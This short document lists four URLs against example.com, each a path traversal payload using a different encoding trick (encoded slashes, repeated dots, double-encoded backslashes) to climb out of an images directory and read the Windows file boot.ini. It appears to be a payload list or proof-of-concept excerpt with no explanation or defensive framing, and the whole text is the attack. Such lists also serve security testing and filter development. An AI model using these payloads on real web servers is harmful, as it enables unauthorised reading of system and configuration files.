http://www.example.com:8080/images%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini

http://www.example.com/images%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini

http://www.example.com/images../..../..../..../..../..../..../..../..../..../..../..../boot.ini

http://www.example.com/images/..%255c../..%255c../..%255c../..%255c../boot.ini